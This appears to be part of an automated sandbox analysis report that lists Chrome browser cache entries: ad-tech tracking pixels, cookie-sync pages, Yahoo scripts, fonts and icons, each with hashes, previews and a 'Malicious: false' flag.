URL:	https://googleads.g.doubleclick.net/xbbe/pixel?d=CJjNHBDdis7TAxjcjKTOATAB&v=APEucNU_oqW7upTKTy8FNduy5hrYbHa9xT4zgc8S7RQLVm68luKSwr7gTnMPO2Pw7b0FVFxBN6k40k6RAOTzksdrsWTbafSGKtia2IzHrNAjOoomGzxqtbw
Preview:	<html><head></head><body><img src="https://cm.g.doubleclick.net/pixel?google_nid=casale_media2_dsp_secure&google_cm&google_dbm&gdpr=0" style="display:none;"/><img src="https://dsum-sec.casalemedia.com/rrum?ixi=0&cm_dsp_id=85&gdpr=0&cb=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dcasale_media2_dsp_secure%26google_cm%26google_hm%3D" style="display:none;"/><img src="https://cm.g.doubleclick.net/pixel?google_nid=appnexus&google_cm&google_dbm&gdpr=0" style="display:none;"/><img src="https://ib.adnxs.com/getuid?https://cm.g.doubleclick.net/pixel?google_nid=appnexus&google_hm=${BASE64_UID_ENC}" style="display:none;"/></body></html>

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (62377)
Category:	downloaded
Size (bytes):	71184
Entropy (8bit):	5.431117150165566
Encrypted:	false
SSDEEP:	768:2X9VkuxBu/k8nFeA2FVd5vI8r4p0twtHSltlgPCEOGtK03FJZXqSaviMryLs4guH:aVk4mh2x6iQ0tgybsjbavpryLs4L5t
MD5:	CA6C03A0104A0556DE35624AA3065B70
SHA1:	0DA2E6D4B24D15F3FA7026D911F6D94E10E1FF1E
SHA-256:	2CA181F5F8781EACA01C4E8A41D1334700378302662F1BD7FE31EF9EE4C1BFDE
SHA-512:	68A34599F981803E0EC99880F1351E5C345F5B9D99D12902BBC8A90846220ECB55471B2F79179773B693216CC5DFAE5C941B669D1A37CEF4684977EFDF009834
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uc/sf/0.1.360/js/safe.min.js
Preview:	/! SAFEFRAME 0.1.360 . 2023, Yahoo Inc. All rights reserved. /!function(){var t={8545:function(t){var e;(e=void 0===e?{}:e).close={name:"close",height:48,width:48,path:"M37.98 34.827l-9.9-9.9 9.9-9.898c.78-.782.78-2.05 0-2.83-.78-.78-2.047-.78-2.828 0l-9.9 9.9-9.898-9.9c-.78-.78-2.048-.78-2.828 0-.78.78-.78 2.047 0 2.828l9.9 9.9-9.9 9.898c-.78.78-.78 2.047 0 2.828.78.78 2.047.78 2.828 0l9.9-9.9 9.898 9.9c.78.78 2.048.78 2.828 0 .782-.78.782-2.047 0-2.827z"},t.exports&&(t.exports=e.close)},1323:function(t){var e;(e=void 0===e?{}:e)["decline-fill"]={name:"decline-fill",height:48,width:48,path:"M24 1C11.3 1 1 11.3 1 24s10.3 23 23 23 23-10.3 23-23S36.7 1 24 1zm9.8 32.8c-.9.9-2.2.9-3.1 0L24 27l-6.8 6.8c-.9.9-2.2.9-3.1 0s-.9-2.2 0-3.1l6.8-6.8-6.7-6.7c-.9-.9-.9-2.2 0-3.1.9-.9 2.2-.9 3.1 0l6.7 6.7 6.7-6.7c.9-.9 2.2-.9 3.1 0 .9.9.9 2.2 0 3.1l-6.7 6.7 6.7 6.8c.9.9.9 2.3 0 3.1z"},t.exports&&(t.exports=e["decline-fill"])},1690:function(t,e,n){"use strict";var r,o=n(6489),i=n(8861),a=n(8220);fun

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://pixel.tapad.com/idsync/ex/receive?partner_id=1955&partner_device_id=c2d43099-965b-09f9-0b02-418b5335b1fa
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	162074
Entropy (8bit):	5.844897484388544
Encrypted:	false
SSDEEP:	1536:bpG0G2tP01QPmARlbST06Z+fSN8P7ufNUYH7uGy65EIo/mo5JoGlf2PN:dG2kwUT0wY3P2/L9OIKlfm
MD5:	87517DACE2118BC6B9F33EF70D5DEB7B
SHA1:	FCF8C7EDC039C193D08AD4093A6015A3EB13FF21
SHA-256:	9192F8142EED983AD5F397B685A10C5051EC06F77CBD96749799DFB48A94118C
SHA-512:	005FB626B4F2E646054B4307B69815AB84C0FFFB339C5EEB7DB67A625CA774AF2A84E8F9B8CE95A8070493375056C6A3364291F20D2B5A8331A1B03735945445
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/f10d509c/d1ccw66oyq8ex2.js
Preview:	(new function(){var c=['y2zNlwv0BhC=','pgHLywq+pc9OzwfKpJXIB2r5pJWVyM9KEt4=','x191DI4KD3jHCcG=','qvjfqsbcuIbdt0WGru1cruqGsfiGteLosYbqqvjbtsbtt1vsq0uGvfjbq0SGv0jsifnuwuXfifrjveXf','iIaTpsa=','C2vUza==','zgLY','wuHcx0Hpu1rt','yxjNDw1LBNrZid0Gw10UC2XPy2uUy2fSBcHHCMD1BwvUDhmSidyPoYa=','yMLKv29U','zgf0ys13AwrNzxqTAwq=','jMfKB21HAw5Zpq==','y3DZ','z2v0qxr0CMLIDxrL','y3jLyxrLsfrnterVy3vTzw50','B25HyM9YDa==','wfbnlK0=','C2v0vgLTzw91Da==','ywXSB3CTDg9Wlw5HDMLNyxrPB24TyNKTDxnLCI1Hy3rPDMf0Aw9U','yMXVyJO=','y3vYCMvUDfnJCMLWDa==','D2LUzg93','BMv4De5Vzgu=','y3jLyxrLvhjLzvDHBgTLCG==','zNjHBwvfBgvTzw50','Dgv4Dc9QyxzHC2nYAxb0','zxz0lwHYDW==','x3nLBgy=','C2v0','qxjYyxK=','C2v0uhjVDg90ExbLt2y=','yNrVyq==','BwfW','kcL7Fq==','AgvHzgvY','DMLKzw9Fzgf0yq==','kgmPienSzwfUlMLVieLUyY4SidiWmJiUiefSBcbsAwDODhmGuMvZzxj2zwq=','Ahr0Chm6','r0vu','yxbPvMvYC2LVBLn1zMzPEa==','FsKO','qKLeuG==','CMvWBgfJzunOAwXKoIa=','C2nYAxb0q29Kzq==','renm','tM9Kzq==','C3vIBwL0','rxzLBNrZ','AxnbCNjHEq==','zMv0y2G=','C3rVCfbYB3bHz2f0Aw9U',

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1087
Entropy (8bit):	5.120392827929451
Encrypted:	false
SSDEEP:	24:tCbYLdLGSKGQlnGMGlTIqdhg1a4x0KKGSyFzWIS66AvIS6RAytgI:DJGSdQMH76k96gsK
MD5:	B182D19798F0D66CA701301E28C0034A
SHA1:	52C014BAA654A9E6B73CAC335FEFDB7B39B6B123
SHA-256:	804F7150640198DF0AAC95F7499EC183FFED8AB411CCF16C5D96D3D83A75E063
SHA-512:	238044791F93191D6899F784C114A4DC4F610A55BCA1BCCB75CDCC9A2799617ECB63C49546623AB20474EDCF6A38642708093E03EA32C39E77A190970B06E750
Malicious:	false
Reputation:	low
Preview:	<svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">. <defs>. <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="a">. <stop stop-color="#B5BDC8" offset="0%"/>. <stop stop-color="#C7CDD2" offset="21.044%"/>. <stop stop-color="#E5EBEF" offset="100%"/>. </linearGradient>. <path d="M44 15.23c0 8.462-6.77 15.232-15.23 15.232H9.307C4.23 30.462 0 26.23 0 21.154s4.23-9.308 9.308-9.308c1.523 0 3.046.339 4.4 1.185C14.892 5.585 21.154 0 28.769 0 37.231 0 44 6.77 44 15.23z" id="b"/>. </defs>. <g fill="none" fill-rule="nonzero">. <g transform="translate(2 2)">. <use fill="url(#a)" xlink:href="#b"/>. <use fill-opacity=".05" fill="#7DCBFF" xlink:href="#b"/>. </g>. <path d="M35.914 42.972c-.612 2.255-2.858 3.485-4.9 2.87-2.244-.615-3.47-2.87-2.857-4.92C28.565 38.87 33.67 36 33.67 36s2.857 4.921 2.245 6.972zM21.914 42.972c-.612 2.255-2.858 3.485-4.9 2.87-2.244-.615-3.47-2.87-2.857-4.92C1

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1740
Entropy (8bit):	5.452356157068675
Encrypted:	false
SSDEEP:	48:BOLUxOLz3FZOOOLyckOLSRVc+uaOLDYkN0oD:BOLUxOLzFZOOOLCOLmVc+uaOLDRNn
MD5:	A0F90BB9A346A8027EBC9FBC17B26C3E
SHA1:	A1060221B5794F7EF00A3B95DDAD4642C6817571
SHA-256:	AB535A911215B95D5C4BE7DC2858F6F2CDBFAA716F0395759092BD4D768485CB
SHA-512:	94AC075AED05D842D04A52EE60A83263C4E93D6BFBBF3C1295796DA7F67045D00CDA5747E53F5DE1378F11530EB6C66264480300F5DC56753175D3B5C7F0720B
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Nunito:regular&subset=latin
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Nunito';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/nunito/v26/XRXI3I6Li01BKofiOc5wtlZ2di8HDLshdTk3j77e.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Nunito';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/nunito/v26/XRXI3I6Li01BKofiOc5wtlZ2di8HDLshdTA3j77e.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ vietnamese /.@font-face {. font-family: 'Nunito';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/nunito/v26/XRXI3I6Li01BKofiOc5wtlZ2di8HDLshdTs3j77e.woff2) format('woff2');. unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;.}./ latin-ext */.@font-fac

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (31398)
Category:	downloaded
Size (bytes):	104537
Entropy (8bit):	5.47397583324788
Encrypted:	false
SSDEEP:	1536:tYagKkecz5adbf0fT3+Zz8qV4dQcdnjtAP0wJFhRqSb6Cgn9hem+:B3uRfb+OqQpdnJ1wJF2KkheT
MD5:	7BE53F66BDF44D558733ED9981B68B8D
SHA1:	64AFC51982B5354564FDE75B80833BEB25E96F28
SHA-256:	1EB3D9CF83D497A5B9CEE415CC8399D3455B1553FD3F8E217C59667E4634CDD7
SHA-512:	E793DA2178DC4791DC1987039B84971A45D0541727EE5B64B20B0403C385866F8833B729B48CDF9DEC34B471281F624788AC5ABDC214E30DAC37E74436DE735B
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/static/topics/topics_frame.html
Preview:	<!DOCTYPE html>.<html>. <head>. <meta charset="UTF-8" />. <title>Topics Frame</title>. <meta. http-equiv="origin-trial". content="Avh5Ny0XEFCyQ7+oNieXskUrqY8edUzL5/XrwKlGjARQHW4TFRK+jVd5HnDIpY20n5OLHfgU4ku7x48N3uhG/A0AAABxeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjk1MTY3OTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0=". />. <script>. ./.. Copyright 2022 Google LLC. SPDX-License-Identifier: Apache-2.0./.var m,aa,ba=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},da=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	158
Entropy (8bit):	4.994787172741404
Encrypted:	false
SSDEEP:	3:yLRmcpZ6CdPtpOq94IhXVHws6Tac3mDDpKfFsLGD/DNKv:yL/pZ6CVCq9JVHwJW1iFqt
MD5:	CA243B22264DCA7A4A899C51CC2DC963
SHA1:	CF47310BBB10F981E5735CBCB6196F688782A625
SHA-256:	95FB5A5390AFDA7B7734B303C9F724039FDA305313CE9517AA5F7A544A208AF0
SHA-512:	704E626A74A47B560B3316788B46F7CAF94E1E831B9290551C52DBF4D1E8DD8B72BACBBF6164EAA393BD97DABA0C351881B2F9D83A92F3BAAC49322BF9B5040B
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/nn/lib/metro/g/myy/advertisement_0.0.19.js
Preview:	document.write('<div id="advertisement-thamba" style="display:none">Display Advertisement</div>');/* Copyright (c) 2020, Yahoo! Inc. All rights reserved. */.

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8787), with no line terminators
Category:	downloaded
Size (bytes):	8787
Entropy (8bit):	5.18863330580164
Encrypted:	false
SSDEEP:	192:/ZtSSViMOpQGb9yjWipq4Z8Yib8Py50D3X2neFaY5E6ZYrlfxBMn:/rs4Q9egLey5uAHjrlfIn
MD5:	446C3635A0812F8C988A5E9CA3FC96A2
SHA1:	0EFCF277E84D7433A893A01D66CF753705A5F1A8
SHA-256:	5F0321E77CA2276D46ACBECA4AFDE142BDD748A373B43F89D3740DEC8AFF091D
SHA-512:	8597616D6CEB0607556F4F80279E93D727863DFD7BB53EDAE03DAD9C781A17B8D81E518D9403031B97F68BCC835A7E70F7601237391C1ED803ABEF4C55B6D992
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-sticky-1.2.6-modern.js
Preview:	!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("wafer-sticky",[],e):"object"==typeof exports?exports["wafer-sticky"]=e():(t.wafer=t.wafer\|\|{},t.wafer.wafers=t.wafer.wafers\|\|{},t.wafer.wafers["wafer-sticky"]=e())}("undefined"!=typeof self?self:this,function(){return function(t){function e(i){if(o[i])return o[i].exports;var r=o[i]={i:i,l:!1,exports:{}};return t[i].call(r.exports,r,r.exports,e),r.l=!0,r.exports}var o={};return e.m=t,e.c=o,e.d=function(t,o,i){e.o(t,o)\|\|Object.defineProperty(t,o,{configurable:!1,enumerable:!0,get:i})},e.n=function(t){var o=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(o,"a",o),o},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="https://s.yimg.com/aaq/wf/",e(e.s="./src/entry.js")}({"./src/entry.js":function(t,e,o){"use strict";function i(t){if(Array.isArray(t)){for(var e=0,o=Array(t.length);e<t.length;e++)o[e]=t[e];return o

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1695
Entropy (8bit):	5.177312516380945
Encrypted:	false
SSDEEP:	24:tCbYLbGPGuXVGTIshQGzGeLGSoGQlnGMGlsXGlbvOu3aYrpRDnOG3KwS7x7SyFYb:Di+hVdqUGSbQMHNDq8glIyxI
MD5:	93DC53D369DCA8F09877C3ECC9A41DE3
SHA1:	346D07BC2A3B65CD75CF0B3F938348969CA1A7C5
SHA-256:	E689333AEAB6ADA00BE85106F30DEDD1E069EFCF70B78E13CE407CC04B1B1189
SHA-512:	9D084CFA903CA9B6C253937B5F5628582C2080826124613CB5F70E6869ED472DF8541DF52E69DCDA55AFC11ED015BC0083DF5C1074717979544168F1E80ECB3E
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/weather-svg/PARTLY_CLOUDY_DAY.svg
Preview:	<svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">. <defs>. <linearGradient x1="-36.396%" y1="32.854%" x2="33.396%" y2="133.313%" id="a">. <stop stop-color="#FFF5B2" offset=".013%"/>. <stop stop-color="#FFDE00" offset="39.944%"/>. <stop stop-color="#FFA700" offset="100%"/>. </linearGradient>. <linearGradient x1="11.357%" y1="56.982%" x2="74.1%" y2="26.47%" id="b">. <stop stop-color="#FFB92B" stop-opacity=".05" offset="0%"/>. <stop stop-color="#FF6900" offset="100%"/>. </linearGradient>. <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="c">. <stop stop-color="#B5BDC8" offset="0%"/>. <stop stop-color="#C7CDD2" offset="21.044%"/>. <stop stop-color="#E5EBEF" offset="100%"/>. </linearGradient>. <path d="M29.428 9.083c-4.944.213-9.017 4.055-9.642 9.094a6.54 6.54 0 00-5.162.923c-1.899 1.144-3.201 3.098-3.552 5.33a7.336 7.336 0 00.435 3.706c.46 1.083 1.502 1.7

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (34717), with no line terminators
Category:	downloaded
Size (bytes):	34717
Entropy (8bit):	5.225647173907698
Encrypted:	false
SSDEEP:	768:D5Uh0svV2RBjYjVEBtjrph+FM/CD/Rnrd/ATNlQr9hGEnMtGb/Ce:Ds0svV2RBjiEBt/ph++/Cprd/ATNlQrb
MD5:	AEEA17ACE82479B8F0C0B6583C4B49AB
SHA1:	783CA76F76E21061C7D9FB59542D7633B7771D5A
SHA-256:	AB0E7CC4A8E3370256DB06DE8D04320C3EBD14C85728D0281A614E91F6F31E0B
SHA-512:	523FF26C07A08D363BFE8033FFD1B24BD32B2013FABB67D515D7A8730D435281DED2C4EE8A0AC2BDE8FDE8D4A94DD82469449B9B682A47B59A514A6A8A579BE1
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-scrollview-2.22.6-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-scrollview",[],t):"object"==typeof exports?exports["wafer-scrollview"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-scrollview"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(r){if(i[r])return i[r].exports;var s=i[r]={i:r,l:!1,exports:{}};return e[r].call(s.exports,s,s.exports,t),s.l=!0,s.exports}var i={};return t.m=e,t.c=i,t.d=function(e,i,r){t.o(e,i)\|\|Object.defineProperty(e,i,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var i=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(i,"a",i),i},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,i){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a fun

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 356x180, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	6692
Entropy (8bit):	7.973772644294048
Encrypted:	false
SSDEEP:	192:sDesP/c5MndTNgpQVfhkWj4RkDtkwn6JTi:srEanDgyC6ROi
MD5:	A795F0110162C84E852792F23F4BEF57
SHA1:	0B25472F439C8C7F3BF227965530341195CFA93E
SHA-256:	8182FD6063C6BAC64862C07C157E7490E07C5269C4414FD5EAF7AE33D7CA4459
SHA-512:	7A46223E9D57AF3C667A35ABC361602F34CEA149605CB78C23B1688F2A3DC37663D3985EE2F41D7FD277E3431EDF07D1973AA4B46BE321420FBC48075A7C9E18
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/PJdo7utph8z9acJAz2ZC0g--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/582532c0-04d6-11ef-bc7b-7987492849bc.cf.webp
Preview:	RIFF....WEBPVP8 ........d...>y6.G.."..;....cl..;..;....`c.9.pk.x....R...z.\|.W..\|.N......y......U..............._Xs...vI........G...~abg.P.@.3T...G.7.....r.$...iSD..K5T....q.`..001z.?......O....]`..d9.s5=.r....{U.cY.....5...q.~k...R..5k.{.._........&..B...D.S...5.cQVg....RS.1.KA.v.q.._...%.c..^..w.(...Q....a.s..../].w.=.4.R7M../.Dj..]..LH~`....uv.p^..\|.l.F.B.\<..}G._.z. ...vo{.:uH.......]..a>.M.....:x...".....X!.#....aG.<Qk.:.`..0lA. .1...."=..Z..:T.A)......>lNl....^...[KyE...O..8SEP.n...\+.L.....gE..N].oA......q}/.V.[$...L...-v..\|._o......}..u .z0.c"{.=.V#.Au...s..;....$.b.`.}.sf...YL.Q=.33.7:PT.>w.77R..[... ....H..j^.T+...V."..\..}5..#..FT...6>..mA\D..O...2.\|...n;TV.1^.)..=..'.4y........s....Y....BW....cRjXcn.\Tsi'.F...o..g.:NQx....75.G....\a...`.].....nK2.~...f/.{..S...S0.i..s$ ..'..E..k'Q.Cf.Q0.....?..@.d.&..VF...o...s.(.J...^......J....Ho.+.MR.....%.1...?.i..IQ2..U3Aj......uo....d.........8..J~.....c......b.\.f.4.u...O... .....

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26500)
Category:	downloaded
Size (bytes):	26682
Entropy (8bit):	4.82962335901065
Encrypted:	false
SSDEEP:	192:kP6hT1bIl4w0QUmQ10PwKLaAu5CwWavpHo4O6wgLPhJVR8XD7mycP:Phal4w0QK+PwK05eavpmgP1eXD7mycP
MD5:	76F34B71FC9FB641507FF6A822CC07F5
SHA1:	73ED2F8F21CD40FB496E61306ACBB5849D4DBFF4
SHA-256:	6DEA47458A4CD7CD7312CC780A53C62E0C8B3CCC8D0B13C1AC0EA6E3DFCECEA8
SHA-512:	6C4002CE78247B50BFA835A098980AF340E4E9F05F7097C1E83301289051CE1282E647ABAB87DB28A32FBFE0263C7318D2444B7D57875873908D6D5ED2AF882F
Malicious:	false
Reputation:	low
URL:	https://ka-f.fontawesome.com/releases/v5.15.4/css/free-v4-shims.min.css?token=585b051251
Preview:	/!. Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.fa.fa-glass:before{content:"\f000"}.fa.fa-meetup{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-star-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-star-o:before{content:"\f005"}.fa.fa-close:before,.fa.fa-remove:before{content:"\f00d"}.fa.fa-gear:before{content:"\f013"}.fa.fa-trash-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-trash-o:before{content:"\f2ed"}.fa.fa-file-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-o:before{content:"\f15b"}.fa.fa-clock-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-clock-o:before{content:"\f017"}.fa.fa-arrow-circle-o-down{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arrow-circle-o-down:before{content:"\f358"}.fa.fa-arrow-circle-o-up{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arro

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156578&predirect=&gdpr=0&gdpr_consent=
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3190)
Category:	downloaded
Size (bytes):	113329
Entropy (8bit):	5.5425534745301075
Encrypted:	false
SSDEEP:	1536:sEo6wmPpFI51aHP0/+MzVnks85XU3GkwE+nprJd0x5qFtSR37LyT/mCm:sIBFaAMm2ks85k3iEqw/R3/yHm
MD5:	B96023064158A454A208A49620C0734C
SHA1:	E3C1CC046EFDFABF65D41A8A3CB4EFC63E3C6C46
SHA-256:	1642DD5DC126DF4FEFF2255CBA0988528507973D842D0A73331A5873F6B9D4E5
SHA-512:	44F33B8D6FFFABBFC6FEF7AF60DC2D7A07EF59B6969F828C177AC5814C5D07C2C103ADFC165F07CE4B6D9B55928A913BEB5BFCD854BE09596E401A41B884585F
Malicious:	false
Reputation:	low
URL:	https://s0.2mdn.net/879366/express_html_inpage_rendering_lib_200_278.js
